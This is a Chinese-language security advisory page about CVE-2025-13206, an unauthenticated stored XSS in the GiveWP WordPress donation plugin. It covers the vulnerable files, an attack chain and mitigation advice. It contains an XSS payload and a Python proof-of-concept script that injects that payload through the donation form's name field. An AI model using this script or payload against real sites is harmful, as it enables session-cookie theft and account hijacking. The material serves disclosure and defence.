IPBUF安全漏洞报告
English
CVE-2025-13206 CVSS 7.2 高危

CVE-2025-13206 | GiveWP WordPress插件存储型XSS漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-13206
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GiveWP – Donation Plugin and Fundraising Platform(WordPress插件)

相关标签

CVE-2025-13206GiveWPWordPress插件存储型XSSStored Cross-Site Scripting高危漏洞CVSS 7.2无认证攻击捐款插件

漏洞概述

CVE-2025-13206是WordPress平台下GiveWP捐款和众筹插件的一个高危安全漏洞。该漏洞是一种存储型跨站脚本攻击(Stored Cross-Site Scripting),存在于插件所有版本直至4.13.0。由于插件对用户提交的'name'参数缺乏充分的输入清理和输出转义处理,攻击者可以在捐赠表单中注入恶意JavaScript代码。这些恶意脚本会被永久存储在数据库中,当其他用户访问包含捐赠者信息展示的页面时,注入的脚本将自动执行。攻击者可以利用此漏洞窃取受害者的会话cookie、劫持用户账户、进行钓鱼攻击或在网站上执行任意操作。值得注意的是,要成功利用此漏洞,需要WordPress站点启用头像(Avatars)功能。该漏洞CVSS评分为7.2,属于高危级别,无需认证即可发起攻击,这大大增加了其危害性。

技术细节

漏洞根源在于GiveWP插件的process-donation.php文件(约第1230行)和class-give-donor.php文件(约第1135行)对捐赠者名称的验证不足。当用户提交捐赠表单时,'name'参数被直接写入数据库而未经过严格的HTML标签过滤或转义处理。随后在shortcode-donor-wall.php模板文件(约第59行)展示捐赠者信息时,未正确转义输出的用户数据,导致存储的恶意脚本得以执行。攻击者可以通过构造包含<script>标签或事件处理器(如onerror、onload)的name参数值来实现XSS攻击。例如,使用<img src=x onerror=alert(document.cookie)>作为捐赠者名称,脚本将在页面加载时执行。由于该数据被持久化存储在数据库中,攻击具有长期有效性。修复版本4.13.1通过添加WordPress内置的sanitize_text_field()等函数对输入进行清理,并使用esc_html()或esc_attr()对输出进行转义来解决此问题。

攻击链分析

STEP 1
信息收集
攻击者识别目标WordPress网站是否安装并启用GiveWP插件版本<=4.13.0,确认头像功能已启用
STEP 2
构造恶意请求
攻击者构造包含XSS payload(如<img src=x onerror=alert(document.cookie)>)的捐赠表单提交请求,将'name'参数设置为恶意脚本
STEP 3
注入存储
通过wp-admin/admin-ajax.php的give_donation_form_submit动作提交表单,恶意payload被存储在数据库的捐赠者记录中
STEP 4
触发执行
当管理员或其他用户访问显示捐赠者墙的页面时,存储的恶意HTML/JavaScript被浏览器解析执行
STEP 5
窃取敏感信息
注入的脚本可窃取用户cookie、会话令牌,执行任意JavaScript操作,劫持账户或进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13206 PoC - GiveWP Stored XSS via name parameter # Target: WordPress site with GiveWP plugin <= 4.13.0 target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" # Malicious payload for stored XSS xss_payload = '<img src=x onerror=alert(document.cookie)>' # Donation form endpoint (typically under WordPress post/page with GiveWP shortcode) donation_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Prepare the donation submission request data = { 'action': 'give_donation_form_submit', 'give_form_id': '1', 'give_price': '10.00', 'give_first': xss_payload, # Inject XSS in first name field 'give_last': 'Test', 'give_email': '[email protected]', 'give_title': '', 'give_description': '', 'give_amount': '10' } print(f"[*] Sending malicious donation request to {target_url}") print(f"[*] XSS Payload: {xss_payload}") try: response = requests.post(donation_endpoint, data=data, timeout=10) if response.status_code == 200: print("[+] Donation processed - XSS payload stored") print("[+] Visit the donor wall page to trigger the XSS") print(f"[+] Endpoint: {target_url}/donors/") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}")

影响范围

GiveWP plugin < 4.13.0 (all versions up to and including 4.13.0)

防御指南

临时缓解措施
立即将GiveWP插件升级到4.13.1版本以修复此漏洞。如果暂时无法升级,可暂时禁用捐赠者墙(donor wall)功能,并加强对WordPress头像功能的访问控制,同时部署Web应用防火墙(WAF)规则对XSS攻击特征进行拦截。建议管理员审查近期捐赠记录,排查是否存在可疑的name值。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表